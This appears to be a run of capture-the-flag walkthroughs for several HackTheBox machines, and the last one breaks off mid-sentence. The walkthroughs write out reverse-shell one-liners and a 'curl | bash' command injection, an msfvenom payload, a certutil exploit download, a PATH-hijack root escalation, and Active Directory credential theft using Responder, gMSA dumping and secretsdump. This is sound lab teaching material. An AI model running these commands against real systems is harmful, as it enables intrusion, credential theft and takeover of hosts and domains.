# nmap -v -Pn -sSVC -p- -oA nmap/previse

Nmap scan report for
Host is up (0.037s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Exploring the Web App

Our initial portscan reveals only two open ports (SSH running on port 22 and the Apache web server on port 80). After editing our /etc/hosts file so that we can resolve previse.htb to we navigate to the page and see what appears to be a login portal to a file storage app:

Enumeration with Gobuster

Taking note of the .php file extension we start enumerating further with gobuster to uncover any additional files or folders on the site.

$ gobuster dir -x php -w /opt/SecLists/Discovery/Web-Content/raft-large-files.txt -u http://previse.htb/ -b 404,403
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://previse.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-files.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
2022/01/01 11:45:44 Starting gobuster in directory enumeration mode
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/login.php            (Status: 200) [Size: 2224]                
/download.php         (Status: 302) [Size: 0] [--> login.php]   
/config.php           (Status: 200) [Size: 0]                   
/footer.php           (Status: 200) [Size: 217]                 
/header.php           (Status: 200) [Size: 980]                 
/favicon.ico          (Status: 200) [Size: 15406]               
/logout.php           (Status: 302) [Size: 0] [--> login.php]   
/.                    (Status: 302) [Size: 2801] [--> login.php]
/status.php           (Status: 302) [Size: 2966] [--> login.php]
/nav.php              (Status: 200) [Size: 1248]                
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/files.php            (Status: 302) [Size: 4914] [--> login.php]

Reviewing the results we see a bunch of other pages that are mostly giving us a 302 re-direct to the login.php page. Manually checking the ones that give us a 200 result we find the http://previse.htb/nav.php page rather interesting:

Exploiting An Improper Redirect in the PHP Web App

This navigation page doesn’t appear like something we would expect to see prior to being logged into the site. Hovering over the links we find two other pages that weren’t found in our gobuster above: http://previse.htb/accounts.php and http://previse.htb/file_logs.php . Clicking on the links just re-directs us back to the login page; however, taking a look at the request and response in Burp we see something interesting when navigating to the accounts.php page:

We are getting the 302 re-direct but it’s still giving us the contents of the accounts.php page! We scroll through and see a note about how this page should only be viewable by admins.

We can leverage Burp suite to intercept and edit the response from accounts.php page.

After confirming Intercept is on, we navigate to the page again and see that our GET request has been intercepted. We right click on select Do intercept –> Response to this request and then hit the “Forward” button to send this on to the web server.

We get the response and see the 302 re-direct:

We can now change this 302 to a 200 before hitting the Forward button again:

Switching back to our browser we see that we are at the account creation page!

Creating an Account & Logging into the App

We proceed to create an account for ourselves named ‘hacker’ with a password of ‘Password1’

We can then turn off Intercept in Burp suite and proceed to login with our newly created account:

We navigate through the web application and notice that under the Files menu there appears to be a site backup .zip file that we can download:

Source Code Review & Command Injection

After extracting the files from the .zip we start exploring the source code of the site and quickly uncover database credentials in the config.php file.

$ unzip 
  inflating: accounts.php            
  inflating: config.php              
  inflating: download.php            
  inflating: file_logs.php           
  inflating: files.php               
  inflating: footer.php              
  inflating: header.php              
  inflating: index.php               
  inflating: login.php               
  inflating: logout.php              
  inflating: logs.php                
  inflating: nav.php                 
  inflating: status.php              
$ cat config.php 

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;


Further source code review leads us to finding an interesting comment in logs.php and what appears to be a command injection vulnerability:

Whatever we put in the POST parameter ‘delim’ will get passed as an argument to the script. We can leverage Burp suite to intercept and modify the request and try adding a semi-colon to see if we can get code execution.

First, we ensure that Intercept is enabled in Burp suite and then navigate to “LOG DATA” from the MANAGEMENT MENU and then click the SUBMIT button:

We see the intercepted request in Burp and confirm it is making a POST request to logs.php

After we setup a netcat listener on our box we edit the POST request and append ;nc 8000

We hit the Forward button in Burp and quickly get a connection on our box! This indicates the command injection was successful. Now that we’ve confirmed it works we can try to get a full reverse shell.

We create a simple reverse shell payload in a script called and then use Python’s simple HTTPServer to host it.

$ cat 
/bin/bash -i >& /dev/tcp/ 0>&1

With our Python SimpleHTTPServer hosting the script on port 80 and netcat listening for the reverse shell on port 8000, we are ready to leverage Burp suite to edit another request and get code execution.

We add ;curl | bash after the delim parameter to instruct the server to download our reverse shell script and pipe it to bash for execution.

Selecting everything after the delim= and pressing Ctl + U performs URL encoding of key characters:

We press the Forward button in Burp and get our reverse shell running as the www-data account:

Looting the Database

Now that we have a shell on the box we can try using the database credentials we found earlier in config.php to loot the database [ user: root password: mySQL_p@ssw0rd!:) ].

The credentials work and we see what databases are available. Switching to the ‘previse’ database we enumerate the tables and dump everything in the accounts table:

We see the hashed password for an account named ‘m4lwhere’ as well as the ‘hacker’ account we created earlier. We exit out of the database and check the /etc/passwd file to see if there is a user on the box with the same username:

www-data@previse:/var/www/html$ cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

Password Cracking with Hashcat

We save m4lwhere’s password hash to a file named hash.txt and run hashcat to crack the password:

$ hashcat -m 500 -a 0 hash.txt /opt/wordlists/rockyou.txt --force --show

Logging in as m4lwhere

Now that we have the password for the m4lwhere account on the Web App we can try SSH’ing into the box to see if the user re-used the same password. It works and we get logged in as m4lwhere!

Privilege Escalation

Before even running any of the standard privilege escalation / enumeration scripts like linPEAS, I like to run sudo -l to see if the user can run anything interesting. Sure enough, there appears to be a custom script the user m4lwhere can run as root: /opt/scripts/

If we can exploit this script somehow we may be able to get code execution as root. First, we check the permissions on the script as well as the content:

We don’t have permission to modify the script so we can’t simply add commands to it to get code execution as root. We do notice; however, that the full path to the gzip binary is not specified. If the sudo configuration is such that it doesn’t reset our environment variables (ie. the env_reset option) we could modify our PATH environment variable and create a trojan version of the gzip binary that would get executed instead of the real gzip.

We proceed to create a script named ‘gzip’ that will copy the bash executable and make it SETUID

After granting everyone rwx permissions to our trojaned gzip script we modify our PATH environment variable to first check in the current working directory. We then execute the script with sudo and it works! We get a copy of bash in our home directory that has the setuid permissions!

We now execute this copy of bash with the -p option and get a root shell!

We now own the box and can print out the flags:

References & Useful Links

ippsec – HackTheBox – Breadcrumbs – (See section on 302 redirect)

Safely handling redirects with die() and exit() in PHP




The initial portscan of this box reveals a number of open ports that suggest we are up against an Active Directory domain controller with a domain name of intelligence.htb.

# nmap -v -sSV -p- -oN nmap/intelligence.nmap

53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-11-26 04:48:41Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0....)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0...)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0...)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0...)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         Microsoft Windows RPC
49710/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
61221/tcp open  msrpc         Microsoft Windows RPC

Exploring the Web Server

We decide to explore the web server first and after editing our /etc/hosts file we navigate to http://intelligence.htb and are greeted with the following page:

Scrolling through the site we see a couple of links on the home page to PDF files stored in a /documents subfolder and take note of the naming convention of these files: YYYY-MM-DD-upload.pdf

We quickly check to see if directory listings are enabled by navigating to http://intelligence.htb/documents/ but immediately get a 403 Forbidden error.

Before attempting to bruteforce other valid document names in this directory, we run gobuster to see if there are any other interesting directories on the web server.

$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u http://intelligence.htb/
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://intelligence.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/11/26 10:04:03 Starting gobuster in directory enumeration mode
/documents            (Status: 301) [Size: 157] [--> http://intelligence.htb/documents/]

Bruteforcing File Names

Since gobuster didn’t return any other interesting results, we turn back to exploring the documents directory. We want to try brute forcing file names by following the YYYY-MM-DD-upload.pdf format we noticed in the two documents linked from the home page. We can leverage PowerShell on linux to generate a wordlist:

#!/usr/bin/pwsh -Command

$startDate = (Get-Date -Year 2020 -Month 1 -Day 1)
$Today = (Get-Date)

while ($startDate -lt $Today)
        $fileName = ($startdate.ToString("yyyy-MM-dd") + "-upload.pdf")
        Write-Output $fileName >> fileList.txt
        $startDate = $startDate.AddDays(1)

After running this script we have a list of possible PDF file names in fileList.txt. We can then write a simple bash script to attempt to download each of the files to see if we get anything:

[+] Downloaded http://intelligence.htb/documents/2020-01-01-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-02-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-04-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-10-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-20-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-22-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-23-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-25-upload.pdf

Gathering Intelligence

We now have a directory full of PDF documents! Opening a few of the PDFs we see most of them contain text in Latin; however,we do find one with some interesting information: 2020-12-30-upload.pdf

Instead of manually opening up all the remaining PDF documents, we can install pdfgrep and start searching for interesting strings. After searching for the word ‘password’ in the documents we find another useful PDF: 2020-06-04-upload.pdf

We appear to have found a New Account guide which lists a default password!

Examining Metadata

Now that we have a password to use for password spraying we just need a list of valid user accounts. Since we have all of these PDF files we can check the metadata to see if we can find any names or information to build a list of users to try. Running pdfinfo on one of the documents we find the Creator field has a name in FIrstname.Lastname format.

We put together a quick one-liner to run pdfinfo against all the PDF files and extract the Creator field and then remove the duplicates to get a list of unique usernames:

$ for i in $(ls *.pdf); do pdfinfo $i | grep "^Creator"| cut -d ' ' -f 9 >> creators.txt; done
$ cat creators.txt | sort -u > users.txt

Validating Users & Password Spraying

We then run kerbrute using this user list to validate if these are valid Active Directory accounts:

After confirming these are valid accounts we proceed to password spraying using the default password previously discovered. We find an account (Tiffany.Molina@intelligence.htb) that still has this default password!

We take note of the clock skew error and update our time to match that of the target box:

# ntpdate -u intelligence.htb

Note: If you run into issues with getting ntpdate to sync due to the fact the clock skew is too great you may need to first set the date as close to the same time as you can manually using date -s “[DATE_STRING]” and then call ntpdate again to fine tune.

You can connect to port 5985 (WinRM) and use the timestamp from the header when manually setting the time:

# curl intelligence.htb:5985 -v
*   Trying
* Connected to intelligence.htb ( port 5985 (#0)
> GET / HTTP/1.1
> Host: intelligence.htb:5985
> User-Agent: curl/7.68.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Content-Type: text/html; charset=us-ascii
< Server: Microsoft-HTTPAPI/2.0
< Date: Sat, 27 Nov 2021 04:44:11 GMT

# date -s "Sat 27 Nov 2021 04:44:11 GMT"

Also, it may be necessary to stop the virtualbox-guest-utils service on your machine if running to prevent the changes from quickly getting reverted. Once the clocks are synced up we shouldn’t have further issues with Kerberos authentication.

Enumerating File Shares

Now that we have valid credentials we can try to enumerate SMB file shares using crackmapexec

It appears we have READ access to at least two non-standard shares: Users and IT. We begin by looking at the Users share.

$ smbclient -U Tiffany.Molina //intelligence.htb/Users
Enter WORKGROUP\Tiffany.Molina's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Sun Apr 18 20:20:26 2021
  ..                                 DR        0  Sun Apr 18 20:20:26 2021
  Administrator                       D        0  Sun Apr 18 19:18:39 2021
  All Users                       DHSrn        0  Sat Sep 15 02:21:46 2018
  Default                           DHR        0  Sun Apr 18 21:17:40 2021
  Default User                    DHSrn        0  Sat Sep 15 02:21:46 2018
  desktop.ini                       AHS      174  Sat Sep 15 02:11:27 2018
  Public                             DR        0  Sun Apr 18 19:18:39 2021
  Ted.Graves                          D        0  Sun Apr 18 20:20:26 2021
  Tiffany.Molina                      D        0  Sun Apr 18 19:51:46 2021

                3770367 blocks of size 4096. 1462014 blocks available
smb: \> 

We explore around and find the user.txt flag for Tiffany Molina

smb: \> cd Tiffany.Molina\Desktop\
smb: \Tiffany.Molina\Desktop\> dir
  .                                  DR        0  Sun Apr 18 19:51:46 2021
  ..                                 DR        0  Sun Apr 18 19:51:46 2021
  user.txt                           AR       34  Fri Nov 26 19:24:25 2021

                3770367 blocks of size 4096. 1462014 blocks available
smb: \Tiffany.Molina\Desktop\> get user.txt 
getting file \Tiffany.Molina\Desktop\user.txt of size 34 as user.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)

Next, we checkout the IT share and find an interesting PowerShell script named downdetector.ps1

$ smbclient -U Tiffany.Molina //intelligence.htb/IT
Enter WORKGROUP\Tiffany.Molina's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Apr 18 19:50:55 2021
  ..                                  D        0  Sun Apr 18 19:50:55 2021
  downdetector.ps1                    A     1046  Sun Apr 18 19:50:55 2021

                3770367 blocks of size 4096. 1462014 blocks available
smb: \> get downdetector.ps1 
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (8.0 KiloBytes/sec) (average 8.0 KiloBytes/sec)
smb: \>

We examine the contents of the script:

$ cat downdetector.ps1 
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory 
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
} catch {}

This must be the script that was mentioned in the PDF we found earlier. If we are able to create a DNS record with “web” in the name we could point it at our machine and capture the credentials of the account running the script.

Capturing Ted’s Credentials

We start up responder:

# responder -v -I tun0

We then use to create a record for webpwnage2.intelligence.htb

$ python3 ./ -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r 'webpwnage2.intelligence.htb' -d '' --action add
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
./ DeprecationWarning: please use dns.resolver.Resolver.resolve() instead
  res = dnsresolver.query(zone, 'SOA')
[-] Adding new record
[+] LDAP operation completed successfully

Within a few minutes we capture the hash for user Ted.Graves in Responder:

We save the hash to a file named hash.txt and proceed to crack it with hashcat:

$ hashcat -m 5600 ./hash.txt /opt/wordlists/rockyou.txt --force
$ hashcat -m 5600 ./hash.txt --show

We try the cracked password with evil-winrm but are unable to get a shell.

AD Enumeration with Bloodhound

Next, we try running bloodhound-python to enumerate Active Directory further and attempt to identify an attack path.

$ bloodhound-python -c All -u Ted.Graves -p "Mr.Teddy" -d intelligence.htb -dc intelligence.htb --zip
WARNING: Could not find a global catalog server, assuming the primary DC has this role
If this gives errors, either specify a hostname with -gc or disable gc resolution with --disable-autogc
INFO: Connecting to LDAP server: intelligence.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: intelligence.htb
INFO: Found 42 users
INFO: Found 54 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: svc_int.intelligence.htb
INFO: Querying computer: dc.intelligence.htb
INFO: Skipping enumeration for svc_int.intelligence.htb since it could not be resolved.
INFO: Done in 00M 05S
INFO: Compressing output into

After loading the .zip file into Bloodhound for analysis and marking the owned principals (the Ted.Graves & Tiffany.Molina accounts), we run the Bloodhound query for “Shortest Paths to Domain Admins from Owned Principals” and see the following:

The Ted.Graves account is a member of the security group ITSUPPORT which has the capabilities to read the Group Managed Service Account password for SVC_INT.

The SVC_INT service account in turn has constrained delegation privileges to the domain controller (dc.intelligence.htb). We can exploit this chain to ultimately achieve domain admin rights.

Exploiting the ReadGMSAPassword Rights & Constrained Delegation

We start the exploit chain by using a tool called gMSADumper to get the hash of the SVC_INT service account.

$ gMSADumper -u TED.GRAVES -p Mr.Teddy -d intelligence.htb -l

Next, we use the impacket to request a service ticket on behalf of the domain Administrator

$ python3 /opt/impacket/examples/ -spn www/dc.intelligence.htb -impersonate Administrator -hashes :b98d4cef68f72a98dfeed732d1b1abca -dc-ip 'intelligence.htb/svc_int$'
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

Now that we have a ticket for the Administrator we can run to loot the domain and collect all the hashes!

$ export KRB5CCNAME=Administrator.ccache                                                                                                                                                                   
$ python3 /opt/impacket/examples/ -k -no-pass dc.intelligence.htb                                                                                                                            
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation                                                                                                                                                   
[*] Service RemoteRegistry is in stopped state                                                                                                                                                             
[*] Starting service RemoteRegistry                                                                                                                                                                        
[*] Target system bootKey: 0xcae14f646af6326ace0e1f5b8b4146df                                                                                                                                              
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)                                                                                                                                                       
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.                                                                                                   
[*] Dumping cached domain logon information (domain/username:hash)                                                                                                                                         
[*] Dumping LSA Secrets                                                                                                                                                                                    
[*] Using the DRSUAPI method to get NTDS.DIT secrets                                                                                                                                                       

Getting a Shell as Domain Admin

Finally, we can leverage Metasploit ‘s psexec module and the dumped Administrator’s hash to get a shell on the box as domain admin:

We can now capture the root flag!


HTB-Arctic (


Running a full portscan against this box we only find three open ports with two of them being related to Windows RPC. Port 8500 looks interesting as nmap has it labeled as ‘fmtp?’. We can start our exploration here.

Nmap scan report for
 Host is up (0.041s latency).
 135/tcp   open  msrpc   Microsoft Windows RPC
 8500/tcp  open  fmtp?
 49154/tcp open  msrpc   Microsoft Windows RPC
 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

With the suspicion that this could be a web server running on port 8500, we can issue the curl command to grab the headers. Our suspicion is confirmed and we see it is an Adobe JRun web server. We open a browser and navigate to the page.

root@kali:~# curl --head
 HTTP/1.0 200 OK
 Date: Sat, 11 Jan 2020 11:15:18 GMT
 Content-Type: text/html; charset=utf-8
 Connection: close
 Server: JRun Web Server

We are greeted with a directory listing and after poking around a little bit with the folder structure we see we are dealing with an instance of Adobe Cold Fusion version 8.

Cold Fusion Hacking

We do a searchsploit for cold fusion and see there are a number of vulnerabilities. One of the top results is a Directory Traversal vulnerability. Examining this exploit we see a sample directory traversal for version 8 that appears like it will give us the password hash.

root@kali:~# searchsploit -x 14641
 Working GET request courtesy of carnal0wnage:

We try this directory traversal in our browser and we are greeted with the password hash of the admin account! We plug this hash into and get the password of happyday

From here we can login to the Cold Fusion admin page with the admin account:

Now that we are logged into the admin interface we want to work towards getting a shell on the box. We can leverage the Scheduled Tasks feature to upload and execute a payload. We will first generate a JSP reverse shell using msfvenom.

root@kali:~# msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=9999 -f raw > rev.jsp

After generating our payload we start metasploit and setup a listener as follows:

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD java/jsp_shell_reverse_tcp
PAYLOAD => java/jsp_shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf5 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf5 exploit(multi/handler) > exploit -j

We also need to setup our Python simple web server to host our payload:

root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on port 80 …

Within Cold Fusion under Debugging & Logging > Scheduled Tasks we click on Schedule New Task and fill out the details as below. We will save our shell to C:\ColdFusion8\wwwroot\CFIDE\rev.jsp. To determine the full path to the folder we can take a look at Server Settings > Mappings.

After pressing the submit button we see our new task and can click on the leftmost icon under actions to run the job.

On our Kali box we see the rev.jsp file gets requested. We can then trigger the reverse shell by navigating to in our browser to get our shell.

root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on port 80 … - - [10/Jan/2020 00:02:59] "GET /rev.jsp HTTP/1.1" 200 -
msf5 exploit(multi/handler) > [*] Command shell session 1 opened ( -> 
msf5 exploit(multi/handler) > sessions -i 1
 [*] Starting interaction with 1…

We are on the box as user arctic\tolis and can grab the user.txt flag with the command: type C:\Users\tolis\Desktop\user.txt

We check to see if our current user is in the Administrators group but see that we aren’t (Only the Administrator account is found). Next, we will run the systeminfo command to gather more information about the system and use this to see what avenues are open for local privilege escalation.

C:>net localgroup Administrators
 net localgroup Administrators
 Alias name     Administrators
 Comment        Administrators have complete and unrestricted access to the computer/domain
 The command completed successfully.
 Host Name:                 ARCTIC
 OS Name:                   Microsoft Windows Server 2008 R2 Standard 
 OS Version:                6.1.7600 N/A Build 7600
 OS Manufacturer:           Microsoft Corporation
 OS Configuration:          Standalone Server
 OS Build Type:             Multiprocessor Free
 Registered Owner:          Windows User
 Registered Organization:   
 Product ID:                55041-507-9857321-84451
 Original Install Date:     22/3/2017, 11:09:45 
 System Boot Time:          10/1/2020, 8:59:44 
 System Manufacturer:       VMware, Inc.
 System Model:              VMware Virtual Platform
 System Type:               x64-based PC
 Processor(s):              2 Processor(s) Installed.
                            [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
                            [02]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
 BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
 Windows Directory:         C:\Windows
 System Directory:          C:\Windows\system32
 Boot Device:               \Device\HarddiskVolume1
 System Locale:             el;Greek
 Input Locale:              en-us;English (United States)
 Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
 Total Physical Memory:     1.023 MB
 Available Physical Memory: 250 MB
 Virtual Memory: Max Size:  2.047 MB
 Virtual Memory: Available: 1.180 MB
 Virtual Memory: In Use:    867 MB
 Page File Location(s):     C:\pagefile.sys
 Domain:                    HTB
 Logon Server:              N/A
 Hotfix(s):                 N/A
 Network Card(s):           1 NIC(s) Installed.
                            [01]: Intel(R) PRO/1000 MT Network Connection
                                  Connection Name: Local Area Connection
                                  DHCP Enabled:    No
                                  IP address(es)

We copy the output of this command and paste it into a text file and then run Windows Exploit Suggester against it. Since we see the box is unpatched and has “N/A” by the Hotfix(s) field we should be able to find something 🙂

We will give MS10-059 a try to see if we can leverage this to get SYSTEM. We can download a compiled exploit for this vulnerability here: The name of the executable is Chimichurri.exe. We will move the .exe to the same folder our Python SimpleHTTPServer is running and then pull it down on our victim box by leveraging the certutil.exe command.

C:\Users\tolis\Downloads>certutil.exe -urlcache -split -f Chimichurri.exe
 certutil.exe -urlcache -split -f Chimichurri.exe
 ****  Online  ****
   000000  …
 CertUtil: -URLCache command completed successfully.

We setup a netcat listener on port 7777 to catch the reverse SYSTEM shell that our exploit will send and then fire off the exploit with:

C:\Users\tolis\Downloads>Chimichurri.exe 7777

We get our reverse shell and confirm we’ve rooted the box and are now running as the SYSTEM account!


HTB – Solidstate (


After completing a full port scan and finding 6 open ports. We initiate another nmap scan on these open ports to grab service & version info and to run nmap’s default scripts:

nmap -sSVC -p 22,25,80,110,119,4555 -oA solidstate

 22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
 | ssh-hostkey: 
 |   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
 |   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
 |_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
 25/tcp   open  smtp        JAMES smtpd 2.3.2
 |_smtp-commands: solidstate Hello ( []), 
 80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
 |_http-server-header: Apache/2.4.25 (Debian)
 |_http-title: Home - Solid State Security
 110/tcp  open  pop3        JAMES pop3d 2.3.2
 119/tcp  open  nntp        JAMES nntpd (posting ok)
 4555/tcp open  james-admin JAMES Remote Admin 2.3.2

The version information for ports 25 (SMTP), 110 (POP3), 119 (NNTP), and 4555 show this machine is running Apache JAMES (Java Apache Mail Enterprise Server). This will certainly warrant further exploration and research. However, since port 80 is open let’s first start by exploring the web page. We are greeted with a page for a security company named ‘Solid State Security’.

We try some of the usual checks like looking for /robots.txt, adding solidstate.htb to our /etc/hosts file and checking for virtual hosts but don’t find anything. We move on to running nikto and gobuster but the results are not particularly interesting.

root@kali:~# nikto -h
 - Nikto v2.1.6
 Target IP:
 Target Hostname:
 Target Port:        80 
 Server: Apache/2.4.25 (Debian)
 The anti-clickjacking X-Frame-Options header is not present.
 The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
 The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
 No CGI Directories found (use '-C all' to force check all possible dirs)
 Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
 Server may leak inodes via ETags, header found with file /, inode: 1e60, size: 5610a1e7a4c9b, mtime: gzip
 Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
 OSVDB-3268: /images/: Directory indexing found.
 OSVDB-3092: /LICENSE.txt: License file found may identify site software.
 OSVDB-3233: /icons/README: Apache default file found.
 7863 requests: 0 error(s) and 9 item(s) reported on remote host 
root@kali:~# gobuster dir -x txt,html,php,bak -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
 /index.html (Status: 200)
 /images (Status: 301)
 /about.html (Status: 200)
 /services.html (Status: 200)
 /assets (Status: 301)
 /README.txt (Status: 200)
 /LICENSE.txt (Status: 200)
 /server-status (Status: 403)

We now turn our attention back to Apache JAMES and run searchsploit to see if there are exploits for any vulnerabilities in the 2.3.2 version.

We see there is a Remote Command Execution vulnerability for Apache James version 2.3.2 ! We examine the python script and review the payload section which by default is only going to print the effective ID and attempt to create a file. We will want to edit this to something that will give us a shell.

In reading through the exploit as well as the Apache James documentation , we see that the default credentials for the remote administrative service on TCP port 4555 is user: root and password: root. If these defaults have been changed we would first need to find valid credentials. We swap out the payload line and replace with a command to give us a reverse shell on port 9999. We then setup a netcat listener on port 9999 and fire the exploit.

payload = 'bash -i >& /dev/tcp/ 0>&1'

The exploit appears to run successfully so the default credentials on the remote administration interface must have worked. Unfortunately, we still do not have a shell as the payload will only be triggered when a user logs in. We will have to find valid credentials for a user on the box. Since we’ve already explored the web page and haven’t found anything useful, we will now turn our attention to the Apache James remote administration interface. We should be able to login to the admin interface on port 4555 with the default credentials.

We use telnet to login to the admin interface and then run the help command to see what we can do.

 Currently implemented commands:
 help                                    display this help
 listusers                               display existing accounts
 countusers                              display the number of existing accounts
 adduser [username] [password]           add a new user
 verify [username]                       verify if specified user exist
 deluser [username]                      delete existing user
 setpassword [username] [password]       sets a user's password
 setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
 showalias [username]                    shows a user's current email alias
 unsetalias [user]                       unsets an alias for 'user'
 setforwarding [username] [emailaddress] forwards a user's email to another email address
 showforwarding [username]               shows a user's current email forwarding
 unsetforwarding [username]              removes a forward
 user [repositoryname]                   change to another user repository
 shutdown                                kills the current JVM (convenient when James is run as a daemon)
 quit                                    close connection

We see that we can list users as well as change their passwords! If we can reset their passwords we could connect via POP3 and read any emails they may have. This is certainly worth exploring as we may be able to find some sensitive information in their emails.

 Existing accounts 6
 user: james
 user: ../../../../../../../../etc/bash_completion.d
 user: thomas
 user: john
 user: mindy
 user: mailadmin

We see 6 accounts including the one that was created by our exploit script. We will proceed to use the setpassword command to reset the password on the user’s accounts and then try to login as them.

setpassword james Passw0rd 
Password for james reset
setpassword thomas Passw0rd
Password for thomas reset
setpassword john Passw0rd
